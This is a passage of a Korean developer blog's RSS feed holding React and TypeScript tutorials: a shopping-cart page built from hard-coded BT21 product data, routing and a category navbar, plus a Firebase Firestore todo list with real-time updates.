import {ItemWrap} from &quot;../styles/item.styled,ts&quot;;



type ItemType = {
    item: ShoppingCartItem
    addToCart: (item: ShoppingCartItem) =&gt; void
}


export const Item = ({item,addToCart}: ItemType) =&gt; {
    const onClick = (clickedItem : ShoppingCartItem) =&gt; {
        Swal.fire({
            title:&quot;장바구니에 추가하시겠습니까?&quot;,
            showDenyButton:true,
            confirmButtonText: &quot;ADD&quot;,
            denyButtonText:&quot;CANCLE&quot;
        }).then((result) =&gt; {
            if(result.isConfirmed) {
                addToCart(clickedItem)
                Swal.fire(&#39;추가했습니다.&#39;, &quot;&quot;, &quot;success&quot;);
            } else {
                Swal.fire(&#39;취소했습니다.&#39;, &quot;&quot;, &quot;error&quot;);
            }
        })
    }


    return &lt;ItemWrap&gt;
        &lt;div&gt;
            &lt;div className=&quot;container&quot;&gt;
                &lt;div className=&quot;item-image&quot;&gt;
                    &lt;img src={item.image} alt={item.title}/&gt;
                &lt;/div&gt;
                &lt;div className=&quot;item-info&quot;&gt;
                    &lt;h3&gt;{item.title}&lt;/h3&gt;
                    &lt;h3&gt;{numberFormat(item.price)}원&lt;/h3&gt;
                &lt;/div&gt;
                &lt;Button
                    onClick={() =&gt; {
                        onClick(item);
                    }}
                &gt;
                    Add To Cart
                &lt;/Button&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/ItemWrap&gt;
}</code></pre>
</br>

<h4 id="srcapproutestsx">src/AppRoutes.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;
import {BrowserRouter, Routes, Route} from &quot;react-router-dom&quot;;

// PAGES
import {Main} from &quot;../pages/main&quot;;
import {Home} from &quot;../pages/Home&quot;;

// COMPONENTS
import {Navbar} from &quot;../components/Navbar&quot;;
import {Header} from &quot;../components/Header&quot;;

// INTERFACES
import {MenuListInterface, ShoppingCartItem} from &quot;../interfaces/item.interface&quot;;



type AppRoutesType = {
    menuList: MenuListInterface[] | null
    category: string[] | null
    cartItem: ShoppingCartItem[] | null
    addToCart: (item: ShoppingCartItem) =&gt; void
    removeFromCart: (id: number) =&gt; void
    getTotalItem: (items: any) =&gt; any
}

export const AppRouter = ({menuList, category, cartItem, addToCart, removeFromCart, getTotalItem}: AppRoutesType) =&gt; {
    return &lt;&gt;
        &lt;BrowserRouter&gt;
            &lt;Header cartItem={cartItem} addToCart={addToCart} removeFromCart={removeFromCart} getTotalItem={getTotalItem}/&gt;
            &lt;Navbar category={category}/&gt;
            &lt;Routes&gt;
                &lt;Route path={&#39;/&#39;} element={&lt;Home/&gt;}&gt;&lt;/Route&gt;
                {/* NOTE - 1*/}
                &lt;Route path={&#39;/:category&#39;} element={&lt;Main menuList={menuList} addToCart={addToCart}/&gt;}&gt;&lt;/Route&gt;
            &lt;/Routes&gt;
        &lt;/BrowserRouter&gt;
    &lt;/&gt;
}</code></pre>
</br>

<blockquote>
<p>💡 NOTE - 8 
<code>Main</code> 컴포넌트에 addToCart 를 전달하겠습니다.</p>
</blockquote>
<hr>
<h2 id="7-완성">7. 완성</h2>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/45641eac-453d-4c46-8e15-aea123defdab/image.gif" alt=""></p>
<p>리액트로 장바구니 페이지 만들기가 끝났습니다. 
다음에도 간단한 리액트 프로젝트로 찾아오겠습니다. </p>
<p><a href="https://github.com/pearl0304/react-shopping-cart-ver2">전체코드 보기</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[React] 장바구니 페이지 만들기 프로젝트 (1)]]></title>
            <link>https://velog.io/@kylie_03/React-%EC%9E%A5%EB%B0%94%EA%B5%AC%EB%8B%88-%ED%8E%98%EC%9D%B4%EC%A7%80-%EB%A7%8C%EB%93%A4%EA%B8%B0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-1</link>
            <guid>https://velog.io/@kylie_03/React-%EC%9E%A5%EB%B0%94%EA%B5%AC%EB%8B%88-%ED%8E%98%EC%9D%B4%EC%A7%80-%EB%A7%8C%EB%93%A4%EA%B8%B0-%ED%94%84%EB%A1%9C%EC%A0%9D%ED%8A%B8-1</guid>
            <pubDate>Thu, 24 Nov 2022 07:38:53 GMT</pubDate>
            <description><![CDATA[<h2 id="1-들어가기-전">1. 들어가기 전</h2>
<p>인터넷으로 많이 사용하는 페이지 중 하나는 장바구니 페이지가 아닐까 하는 생각이 듭니다. 리액트를 공부하면서 장바구니 페이지를 어쭙게나마 흉내를 내고 싶다는 생각이 들었습니다. 그래서 이번에는 리액트로 간단한 장바구니 페이지를 만들어보고자 합니다. 프로젝트를 통해 상품 리스트를 출력하고 원하는 상품을 장바구니에 넣는 과정까지 구현해보겠습니다. </p>
<p>이번에는 데이터베이스를 사용하지 않고 하드 코딩으로 데이터를 가져오겠습니다. </p>
<blockquote>
<p>자료 출처 :  <a href="https://brand.naver.com/linefriends/category/b4f7430d419e4e729c8eae3093b37e21?cp=1">https://brand.naver.com/linefriends/category/b4f7430d419e4e729c8eae3093b37e21?cp=1</a> </br> 
저작권 : 라인 프렌즈 </br>
<span style="color:red">위 데이터는 공부 목적으로 사용했으며 어떠한 결제 시스템이 없음을 사전에 공지합니다. </span></p>
</blockquote>
</br>

<p>그러면 장바구니 페이지 만들기 첫 번째 여정을 시작하겠습니다. </p>
<h2 id="2-목표">2. 목표</h2>
<blockquote>
<ul>
<li>데이터베이스에 있는 상품 목록을 출력한다.</li>
</ul>
</blockquote>
<ul>
<li>Navbar의 값에 따라 알맞은 상품을 목록에 출력한다. </li>
</ul>
</br>


<h2 id="3-필요한-패키지-설치">3. 필요한 패키지 설치</h2>
<pre><code>$ npm install sweetalert2
$ npm install @mui/icons-material
$ npm install @mui/material @emotion/react @emotion/styled
$ npm install @mui/material @mui/styled-engine-sc styled-components
$ npm i react-router-dom</code></pre></br>


<h2 id="4-데이터베이스-만들기">4. 데이터베이스 만들기</h2>
<p>먼저 상품 리스트를 하드 코딩으로 입력하겠습니다.</p>
<pre><code class="language-typescript">export const database = [
    {
        id: 6876937251,
        category: &quot;COOKY&quot;,
        description: &quot;머그컵이나 텀블러를 받쳐주는 코스터입니다. 투명한 아크릴에 쿠키 얼굴이 선명하게 새겨졌어요. 테이블을 화사한 분위기로 만들어줍니다&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220705_37/1656985010822HLcmJ_JPEG/21562010_76204184.jpg?type=m510&quot;,
        price: 6000,
        title: &quot;BT21 COOKY 페이스 아크릴 코스터&quot;,
    },
    {
        id: 6876937252,
        category: &quot;TATA&quot;,
        description: &quot;머그컵이나 텀블러를 받쳐주는 코스터입니다. 투명한 아크릴에 타타 얼굴이 선명하게 새겨졌어요. 테이블을 화사한 분위기로 만들어줍니다&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220705_261/1656985006709b6YuD_JPEG/21561956_76204183.jpg?type=m510&quot;,
        price: 6000,
        title: &quot;BT21 TATA 페이스 아크릴 코스터&quot;,
    },
    {
        id: 6876937253,
        category: &quot;CHIMMY&quot;,
        description: &quot;머그컵이나 텀블러를 받쳐주는 코스터입니다. 투명한 아크릴에 치미 얼굴이 선명하게 새겨졌어요. 테이블을 화사한 분위기로 만들어줍니다&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220705_46/1656985002552vE8wt_JPEG/21561923_76204182.jpg?type=m510&quot;,
        price: 6000,
        title: &quot;BT21 CHIMMY 페이스 아크릴 코스터&quot;,
    },
    {
        id: 6876937254,
        category: &quot;MANG&quot;,
        description: &quot;머그컵이나 텀블러를 받쳐주는 코스터입니다. 투명한 아크릴에 망이 얼굴이 선명하게 새겨졌어요. 테이블을 화사한 분위기로 만들어줍니다&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220705_298/1656984998573xl211_JPEG/21561905_76204181.jpg?type=m510&quot;,
        price: 6000,
        title: &quot;BT21 MANG 페이스 아크릴 코스터&quot;,
    },
    {
        id: 6876937255,
        category: &quot;KOYA&quot;,
        description: &quot;머그컵이나 텀블러를 받쳐주는 코스터입니다. 투명한 아크릴에 코야 얼굴이 선명하게 새겨졌어요. 테이블을 화사한 분위기로 만들어줍니다&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220705_27/1656984986653gPodo_JPEG/21561851_76204172.jpg?type=m510&quot;,
        price: 6000,
        title: &quot;BT21 KOYA 페이스 아크릴 코스터&quot;,
    },
    {
        id: 6876937256,
        category: &quot;SHOOKY&quot;,
        description: &quot;머그컵이나 텀블러를 받쳐주는 코스터입니다. 투명한 아크릴에 슈키 얼굴이 선명하게 새겨졌어요. 테이블을 화사한 분위기로 만들어줍니다&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220705_108/1656984994540exhfb_JPEG/21561869_76204180.jpg?type=m510&quot;,
        price: 6000,
        title: &quot;BT21 SHOOKY 페이스 아크릴 코스터&quot;,
    },
    {
        id: 6876937257,
        category: &quot;RJ&quot;,
        description: &quot;머그컵이나 텀블러를 받쳐주는 코스터입니다. 투명한 아크릴에 RJ 얼굴이 선명하게 새겨졌어요. 테이블을 화사한 분위기로 만들어줍니다&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220705_191/16569849906726A3mM_JPEG/21561803_76204179.jpg?type=m510&quot;,
        price: 6000,
        title: &quot;BT21 RJ 페이스 아크릴 코스터&quot;,
    },
    {
        id: 6876937258,
        category: &quot;COOKY&quot;,
        description: &quot;내 차의 힐링템 BT21 KOOKY 차량용 고속 무선 충전 거치대&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220524_179/1653354840728iQSSm_JPEG/21371561_74732033.jpg?type=m510&quot;,
        price: 49500,
        title: &quot;라인프렌즈 BT21 COOKY BABY 차량용 스마트폰 고속 충전 거치대&quot;,
    },
    {
        id: 6876937259,
        category: &quot;TATA&quot;,
        description: &quot;내 차의 힐링템 BT21 KOOKY 차량용 고속 무선 충전 거치대&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220524_225/1653354836389IdVwn_JPEG/21371552_74731942.jpg?type=m510&quot;,
        price: 49500,
        title: &quot;라인프렌즈 BT21 TATA BABY 차량용 스마트폰 고속 충전 거치대&quot;,
    },
    {
        id: 6876937260,
        category: &quot;CHIMMY&quot;,
        description: &quot;내 차의 힐링템 BT21 CHIMMY 차량용 고속 무선 충전 거치대&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220524_141/1653354832143VnuLs_JPEG/21371496_74731941.jpg?type=m510&quot;,
        price: 49500,
        title: &quot;라인프렌즈 BT21 CHIMMY BABY 차량용 스마트폰 고속 충전 거치대&quot;,
    },
    {
        id: 6876937261,
        category: &quot;MANG&quot;,
        description: &quot;내 차의 힐링템 BT21 MANG 차량용 고속 무선 충전 거치대&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220524_232/1653354827951Bywn3_JPEG/21371368_74731940.jpg?type=m510&quot;,
        price: 49500,
        title: &quot;라인프렌즈 BT21 MANG BABY 차량용 스마트폰 고속 충전 거치대&quot;,
    },
    {
        id: 6876937262,
        category: &quot;SHOOKY&quot;,
        description: &quot;내 차의 힐링템 BT21 SHOOKY 차량용 고속 무선 충전 거치대&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220524_136/16533548234444B97i_JPEG/21371319_74731939.jpg?type=m510&quot;,
        price: 49500,
        title: &quot;라인프렌즈 BT21 SHOOKY BABY 차량용 스마트폰 고속 충전 거치대&quot;,
    },
    {
        id: 6876937263,
        category: &quot;RJ&quot;,
        description: &quot;내 차의 힐링템 BT21 RJ 차량용 고속 무선 충전 거치대&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220524_139/1653354819422z0hGl_JPEG/21371284_74731848.jpg?type=m510&quot;,
        price: 49500,
        title: &quot;라인프렌즈 BT21 RJ BABY 차량용 스마트폰 고속 충전 거치대&quot;,
    },
    {
        id: 6876937264,
        category: &quot;KOYA&quot;,
        description: &quot;내 차의 힐링템 BT21 KOYA 차량용 고속 무선 충전 거치대&quot;,
        image: &quot;https://shop-phinf.pstatic.net/20220524_29/1653354814805jjY1A_JPEG/21371229_74731737.jpg?type=m510&quot;,
        price: 49500,
        title: &quot;라인프렌즈 BT21 KOYA BABY 차량용 스마트폰 고속 충전 거치대&quot;,
    },
];</code></pre>
<p>출처 : 라인프렌즈 | 저작권 : 라인프렌즈</p>
</br>


<h2 id="5-인터페이스-설정">5. 인터페이스 설정</h2>
<h4 id="srcinterfacesiteminterfacets">src/interfaces/item.interface.ts</h4>
<pre><code class="language-typescript">export interface MenuListInterface {
    id: number;
    category: string;
    description: string;
    image: string;
    price: number;
    title: string;
}

export interface ShoppingCartItem{
    id: number;
    category: string;
    description: string;
    image: string;
    price: number;
    title: string;
    amount: number;
}</code></pre>
</br>


<h2 id="6-상품-리스트-데이터">6. 상품 리스트 데이터</h2>
<h3 id="61-상품-리스트를-가져올-페이지-만들기">6.1 상품 리스트를 가져올 페이지 만들기</h3>
<h4 id="srcpagesmaintsx">src/pages/main.tsx</h4>
<pre><code class="language-typescript">import React, {useState} from &quot;react&quot;;
import {MainWrap} from &quot;../styles/main.styled&quot;;

export const Main = () =&gt; {
    return &lt;MainWrap&gt;
    &lt;/MainWrap&gt;
}</code></pre>
</br>


<h3 id="62-각-상품-별-데이터를-출력할-컴포넌트-준비">6.2 각 상품 별 데이터를 출력할 컴포넌트 준비</h3>
<h4 id="srccomponentsitemtsx">src/components/Item.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;
import {ShoppingCartItem} from &quot;../interfaces/item.interface&quot;;
import {numberFormat} from &quot;../common&quot;;

// CSS
import {Button} from &quot;@mui/material&quot;;
import {ItemWrap} from &quot;../styles/item.styled,ts&quot;;


type ItemType = {
    item: ShoppingCartItem
}


export const Item = ({item}: ItemType) =&gt; {
    return &lt;ItemWrap&gt;
        &lt;div&gt;
            &lt;div className=&quot;container&quot;&gt;
                &lt;div className=&quot;item-image&quot;&gt;
                    &lt;img src={item.image} alt={item.title}/&gt;
                &lt;/div&gt;
                &lt;div className=&quot;item-info&quot;&gt;
                    &lt;h3&gt;{item.title}&lt;/h3&gt;
                    &lt;h3&gt;{numberFormat(item.price)}원&lt;/h3&gt;
                &lt;/div&gt;
                &lt;Button&gt;
                    Add To Cart
                &lt;/Button&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/ItemWrap&gt;
}

const numberFormat = (price: number): string =&gt; {
    return price.toString().replace(/\B(?=(\d{3})+(?!\d))/g, &quot;,&quot;);
}</code></pre>
</br>

<blockquote>
<p>item 인자를 받으면 개별 아이템 폼을 만들어 줍니다. </p>
</blockquote>
<p>(결과)</p>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/ff5172e1-b106-44ab-8b92-946287f08290/image.png" alt=""></p>
</br>

<h3 id="63-navbar-컴포넌트-만들기">6.3 Navbar 컴포넌트 만들기</h3>
<h4 id="srccomponentsnavbartsx">src/components/Navbar.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;
import {NavWrap} from &quot;../styles/navbar.styled&quot;;

export const Navbar = () =&gt; {
    return &lt;NavWrap&gt;
    &lt;/NavWrap&gt;
}</code></pre>
</br>


<h3 id="64-라우터-설정">6.4 라우터 설정</h3>
<p>Navbar와 Main 컴포넌트를 import 합니다. 
후에 <code>category</code> 별로 데이터를 가져올 예정이라 미리 category를 param으로 설정하도록 하겠습니다. </p>
<pre><code class="language-typescript">import React from &quot;react&quot;;
import {BrowserRouter, Routes, Route} from &quot;react-router-dom&quot;;
import {Main} from &quot;../pages/main&quot;;
import {Navbar} from &quot;../components/Navbar&quot;;

export const AppRouter = () =&gt; {
    return &lt;&gt;
        &lt;BrowserRouter&gt;
                &lt;Navbar /&gt;
            &lt;Routes&gt;
                &lt;Route path={&#39;/:category&#39;} element={&lt;Main /&gt;}&gt;&lt;/Route&gt;
            &lt;/Routes&gt;
        &lt;/BrowserRouter&gt;
    &lt;/&gt;
}</code></pre>
<p>자 이제 프로젝트를 시작할 최소한의 준비를 마쳤습니다. 
지금부터 본격 상품 리스트를 출력하도록 하겠습니다. </p>
</br>


<h3 id="65-데이터-출력">6.5 데이터 출력</h3>
<h4 id="srcapptsx">src/App.tsx</h4>
<pre><code class="language-typescript">import React, {useState} from &#39;react&#39;;
import {database} from &quot;./database/products&quot;;

import {AppRouter} from &quot;./routers/AppRoutes&quot;;

import &#39;./App.css&#39;

// SET CATEGORY
const arr = database.map((item) =&gt; {
    return item.category
});
arr.push(&#39;ALL&#39;);
const category = Array.from(new Set(arr)).sort();

const App = () =&gt; {
    return (
        &lt;&gt;
            &lt;AppRouter menuList={database} category={category}/&gt;
        &lt;/&gt;
    );
}

export default App;</code></pre>
<blockquote>
<p>💡 &#39;category&#39;는 데이터베이스에 있는 category 목록을 중복 없이 가져온 배열입니다. 위 변수는 Navbar에서 사용합니다. </p>
</blockquote>
<p>앱 전반적으로 사용할 database와 category 값을 <code>AppRouter</code>에 넘겨주도록 하겠습니다. </p>
</br>



<h4 id="srcroutersapproutertsx">src/routers/AppRouter.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;
import {BrowserRouter, Routes, Route} from &quot;react-router-dom&quot;;
import {Main} from &quot;../pages/main&quot;;
import {Navbar} from &quot;../components/Navbar&quot;;


type AppRoutesType = {
    menuList: MenuListInterface[] | null
    category: string[] | null
}

export const AppRouter = ({menuList, category}: AppRoutesType) =&gt; {
    return &lt;&gt;
        &lt;BrowserRouter&gt;
            &lt;Navbar category={category}/&gt;
            &lt;Routes&gt;
                &lt;Route path={&#39;/:category&#39;} element={&lt;Main /&gt;}&gt;&lt;/Route&gt;
            &lt;/Routes&gt;
        &lt;/BrowserRouter&gt;
    &lt;/&gt;
}</code></pre>
<p>전달받은 prop을 각각 Navbar와 Main 컴포넌트에 전달하겠습니다. </p>
</br>

<h4 id="srcpagesmaintsx-1">src/pages/main.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;
import {useParams} from &quot;react-router-dom&quot;;
import {Item} from &quot;../components/Item&quot;;


import {MenuListInterface} from &quot;../interfaces/item.interface&quot;;
import {MainWrap} from &quot;../styles/main.styled&quot;;
import {Grid} from &quot;@mui/material&quot;;

type MainType = {
    menuList: MenuListInterface[] | null
}

export const Main = ({menuList}: MainType) =&gt; {
    const {category} = useParams();
    let list ;
    if (category === &#39;ALL&#39;) {
        list = menuList
    } else {
        list = menuList?.filter((item:any) =&gt; (item.category === category));
    }

    return &lt;MainWrap&gt;
        &lt;Grid container item spacing={5}&gt;
            {list?.map((item: any) =&gt; (
                &lt;Grid item key={item.id} xs={12} sm={3}&gt;
                    &lt;Item item={item}&gt;&lt;/Item&gt;
                &lt;/Grid&gt;
            ))}
        &lt;/Grid&gt;
    &lt;/MainWrap&gt;
}</code></pre>
<blockquote>
<p>💡 useParmas() 을 사용하여 parm 값을 가져옵니다. 
방금 라우터 설정할 때 <code>/:category</code> 에서 받은 category 값입니다. </br>
category 값이 &#39;ALL&#39; 일 경우에는 모든 상품 리스트를 출력하고, 나머지는 category 별로 상품 리스트가 출력하도록 했습니다. </br> 
list 배열이 만들어지면 반복문을 돌려 아까 만든 Item 컴포넌트에 각각 상품을 전달합니다. </p>
</blockquote>
</br>

<p><img src="https://velog.velcdn.com/images/kylie_03/post/75358743-7a92-45f2-aac2-abda8e29130d/image.gif" alt=""></p>
<blockquote>
<p>💡 주소창에 category를 입력하면 category 별로 필터 되어 데이터가 출력됨을 알 수 있습니다. </p>
</blockquote>
</br>

<h3 id="66-navbar-설정">6.6 Navbar 설정</h3>
<p>매번 주소창에 category를 칠 순 없으니 Navbar를 사용하여 category를 누르면 각각에 맞는 데이터가 출력하도록 하겠습니다. </p>
<h4 id="srccomponentsnavbartsx-1">src/components/Navbar.tsx</h4>
<pre><code class="language-typescript">import React from &quot;react&quot;;
import {Link} from &quot;react-router-dom&quot;;
import {NavWrap} from &quot;../styles/navbar.styled&quot;;

type NavbarType = {
    category: string[] | null

}

export const Navbar = ({category}: NavbarType) =&gt; {
    const renderLi = (cate: string, index: number) =&gt; {
        let key = `${cate}-${index}`
        return &lt;Link style={{textDecoration: &quot;none&quot;, color: &quot;inherit&quot;}}
                     to={`/${cate}`}&gt;
            &lt;li key={key}&gt;{cate}&lt;/li&gt;
        &lt;/Link&gt;
    }


    return &lt;NavWrap&gt;
        &lt;ul className=&quot;nav-ul&quot;&gt;{category?.map((item, index: number) =&gt; renderLi(item, index))}&lt;/ul&gt;
    &lt;/NavWrap&gt;
}</code></pre>
<blockquote>
<p>💡 <code>AppRouter</code>에서 전달받은 category 파라미터를 사용하여 각각 페이지로 이동할 수 있는 li를 만들었습니다. </p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/4b6ba656-8892-48ca-a6a9-30c727a1a1c7/image.png" alt=""></p>
</br>

<h3 id="67-확인">6.7 확인</h3>
<p>이제 Navbar을 클릭하여 데이터가 필터되는 지 확인해보겠습니다. </p>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/81dc0dc9-66bb-4032-a186-6594e7078f69/image.gif" alt=""></p>
<p>카테고리별로 필터 되어 데이터가 잘 출력되고 있습니다. </p>
<hr>
<p>상품 목록 가지고 오는 작업이 끝났습니다. 
다음 편에서는 장바구니에 상품을 추가하는 작업을 해보도록 하겠습니다. </p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[React] TODO LIST 만들기 (6) - Firestore에서 데이터 가져와서 todo list 완성하기]]></title>
            <link>https://velog.io/@kylie_03/React-TODO-LIST-%EB%A7%8C%EB%93%A4%EA%B8%B0-6-Firestore%EC%97%90%EC%84%9C-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EA%B0%80%EC%A0%B8%EC%99%80%EC%84%9C-todo-list-%EC%99%84%EC%84%B1%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@kylie_03/React-TODO-LIST-%EB%A7%8C%EB%93%A4%EA%B8%B0-6-Firestore%EC%97%90%EC%84%9C-%EB%8D%B0%EC%9D%B4%ED%84%B0-%EA%B0%80%EC%A0%B8%EC%99%80%EC%84%9C-todo-list-%EC%99%84%EC%84%B1%ED%95%98%EA%B8%B0</guid>
            <pubDate>Wed, 23 Nov 2022 06:09:20 GMT</pubDate>
            <description><![CDATA[<h2 id="1-들어가기-전">1. 들어가기 전</h2>
<p>이제 드디어 끝이 보입니다. task 입력까지 했으니 이번 시간에는 firestore에서 데이터를 가져오도록 하겠습니다. 그냥 가져오면 심심하니 <code>onSnapshot</code>을  사용하여 실시간으로 데이터를 가져오도록 하겠습니다. 또한, 완료 버튼을 클릭하면 해당 task는 화면에서 지우는 작업까지 해보도록 하겠습니다. </p>
</br>

<h2 id="2-목표">2. 목표</h2>
<blockquote>
<ul>
<li>task를 입력하면 실시간으로 데이터를 화면에 출력한다.</li>
</ul>
</blockquote>
<ul>
<li>완료 버튼을 클릭하면 실시간으로 화면에서 지운다. </li>
</ul>
</br>

<h2 id="3-todo-list-만들기">3. Todo List 만들기</h2>
<p>이번에도 코드 복잡성을 방지하기 위해 todo list는 따로 컴포넌트를 만들어 관리하도록 하겠습니다. </p>
<h3 id="31-데이터-가져오기">3.1 데이터 가져오기</h3>
<h4 id="srccomponentstodolisttsx">src/Components/todoList.tsx</h4>
<pre><code class="language-typescript">import React, { useEffect, useState } from &quot;react&quot;;

// FIREBASE
import { fireStoreJob } from &quot;../initFirebase&quot;;
import {
  collection,
  query,
  where,
  orderBy,
  onSnapshot,
  updateDoc,
  doc,
} from &quot;firebase/firestore&quot;;

// INTERFACE
import { UserInterface } from &quot;../interfaces/user.interface&quot;;
import { TodoInterface } from &quot;../interfaces/todo.interface&quot;;

// CSS
import { TodoListWrap,StyledTableCell } from &quot;../styles/todoList.styled&quot;;
import Paper from &quot;@mui/material/Paper&quot;;
import Table from &quot;@mui/material/Table&quot;;
import TableBody from &quot;@mui/material/TableBody&quot;;
import TableCell from &quot;@mui/material/TableCell&quot;;
import TableContainer from &quot;@mui/material/TableContainer&quot;;
import TableHead from &quot;@mui/material/TableHead&quot;;
import TableRow from &quot;@mui/material/TableRow&quot;;
import Checkbox from &quot;@mui/material/Checkbox&quot;;

type TodoListType = {
  userInfo: UserInterface;
};

export const TodoList = ({ userInfo }: TodoListType) =&gt; {
  const firestore_path = &quot;tasks&quot;;
  const [list, setList] = useState&lt;TodoInterface[]&gt;([]);

  // NOTE - 1 
  useEffect(() =&gt; {
    const q = query(
      collection(fireStoreJob, firestore_path),
      where(&quot;uid&quot;, &quot;==&quot;, userInfo.uid),
      where(&quot;status&quot;, &quot;==&quot;, &quot;READY&quot;),
      orderBy(&quot;date_created&quot;, &quot;desc&quot;)
    );
    const unsubscribe = onSnapshot(q, (querySnapshot) =&gt; {
      const arr = querySnapshot.docs.map((doc) =&gt; {
        return {
          id: doc.id,
          ...doc.data(),
        };
      });
      // @ts-ignore
      setList(arr);
    });

    return () =&gt; {
      unsubscribe();
    };
  }, []);

  // NOTE - 2
  const onClick = async (e: any) =&gt; {
    const doc_id = e.target.id;
    const ref = doc(fireStoreJob, firestore_path, doc_id);
    await updateDoc(ref, {
      status: &quot;DONE&quot;,
    });
  };

  return (
    &lt;TodoListWrap&gt;
      &lt;Paper sx={{ width: &quot;100%&quot;, overflow: &quot;hidden&quot; }}&gt;
        &lt;TableContainer&gt;
          &lt;Table stickyHeader={true}&gt;
            &lt;TableHead&gt;
              &lt;TableRow&gt;
                &lt;StyledTableCell&gt;Task&lt;/StyledTableCell&gt;
                &lt;StyledTableCell&gt;Dead Line&lt;/StyledTableCell&gt;
                &lt;StyledTableCell&gt;Done&lt;/StyledTableCell&gt;
              &lt;/TableRow&gt;
            &lt;/TableHead&gt;
            &lt;TableBody&gt;
              {list.map((data) =&gt; {
                return (
                  &lt;TableRow key={data.id} id={data.id}&gt;
                    &lt;TableCell&gt;{data.task}&lt;/TableCell&gt;
                    &lt;TableCell&gt;{data.date}&lt;/TableCell&gt;
                    &lt;TableCell&gt;
                      &lt;Checkbox onClick={onClick} id={data.id} /&gt;
                    &lt;/TableCell&gt;
                  &lt;/TableRow&gt;
                );
              })}
            &lt;/TableBody&gt;
          &lt;/Table&gt;
        &lt;/TableContainer&gt;
      &lt;/Paper&gt;
    &lt;/TodoListWrap&gt;
  );
};</code></pre>
</br>

<blockquote>
<p>💡 NOTE -1
메인 화면에 접속하면 유저가 작성한 task를 가져옵니다. 
이때 유저별로 status == &#39;READY&#39; 인 데이터를 최신 순으로 가져 옵니다. </p>
</blockquote>
</br>

<p><img src="https://velog.velcdn.com/images/kylie_03/post/68728395-b677-434b-9afe-846093e68695/image.png" alt=""></p>
<p>저번 포스팅에서 작성한 task가 출력된 것을 볼 수 있습니다. </p>
<hr>
<p>📌 <a href="https://firebase.google.com/docs/firestore/query-data/listen#listen_to_multiple_documents_in_a_collection">Firebase 공식문서 - Cloud Firestore로 실시간 업데이트 받기</a></p>
<p>📌 <a href="https://firebase.google.com/docs/firestore/manage-data/add-data#update-data">Firebase 공식문서 - 문서 업데이트</a></p>
<hr>
</br>

<h3 id="32-실시간으로-입력한-데이터-출력하기">3.2 실시간으로 입력한 데이터 출력하기</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/6174d20e-d847-4381-aa36-e5be9094e937/image.gif" alt=""></p>
<p><code>onSnapshot</code>을  사용했기 때문에 변화가 감지될 때마다 새로운 데이터를 출력하고 있는 것을 볼 수 있습니다. </p>
</br>

<h2 id="4-완료-처리하기">4. 완료 처리하기</h2>
<p>할 일을 입력했으니 완료 처리도 해보도록 하겠습니다.</p>
<h3 id="41-완료-버튼-누르기">4.1 완료 버튼 누르기</h3>
<blockquote>
<p>💡 NOTE -2
체크 박스를 클릭하면 해당 데이터를 찾아 <code>status = &#39;DONE&#39;</code>으로 업데이트하고 화면에는 출력하지 않도록 하겠습니다.</p>
</blockquote>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/006b3fe2-79b1-47f5-b192-c7225c287716/image.gif" alt=""></p>
</br>

<h3 id="42-firestore-확인">4.2 Firestore 확인</h3>
<p><img src="https://velog.velcdn.com/images/kylie_03/post/40aa3cfb-7c9b-477c-8bca-c278dda25668/image.png" alt=""></p>
<p>status 가 <code>DONE</code>으로 바뀐 걸 확인할 수 있습니다. </p>
</br>

<hr>
<p>React와 Firebase를 통해 간단한 Todo List 만들기 프로젝트가 끝났습니다. 다음에도 간단하게 만들 수 있는 프로그램으로 찾아오겠습니다. </p>
<p><a href="https://github.com/pearl0304/react-todo-list">전체코드 보기</a></p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[React] TODO LIST 만들기 (5) - task 입력하고 Firestore에 저장하기]]></title>
            <link>https://velog.io/@kylie_03/React-TODO-LIST-%EB%A7%8C%EB%93%A4%EA%B8%B0-5-task-%EC%9E%85%EB%A0%A5%ED%95%98%EA%B8%B0</link>
            <guid>https://velog.io/@kylie_03/React-TODO-LIST-%EB%A7%8C%EB%93%A4%EA%B8%B0-5-task-%EC%9E%85%EB%A0%A5%ED%95%98%EA%B8%B0</guid>
            <pubDate>Wed, 23 Nov 2022 05:31:15 GMT</pubDate>
            <description><![CDATA[<h2 id="1-들어가기-전">1. 들어가기 전</h2>
<p>Firebase을 통한 계정 생성이 끝났습니다. 지금부터 본격적으로 Todo List를 만들어 보도록 하겠습니다. 이번 포스팅에서는 <code>task</code> 와 <code>deadline</code> 을 입력하여 Firestore에 잘 저장되는 지 확인하도록 하겠습니다. </p>
<p>(+) 이번 포스팅에서는 css 코드는 작성하지 않았습니다.</p>
</br>

<h2 id="2-목표">2. 목표</h2>
<blockquote>
<ul>
<li>해야할 일과 마감일을 입력받는다.</li>
<li>Firestore에 데이터를 저장한다. </li>
</ul>
</blockquote>
</br>


<h2 id="3-todo-input-만들기">3. Todo input 만들기</h2>
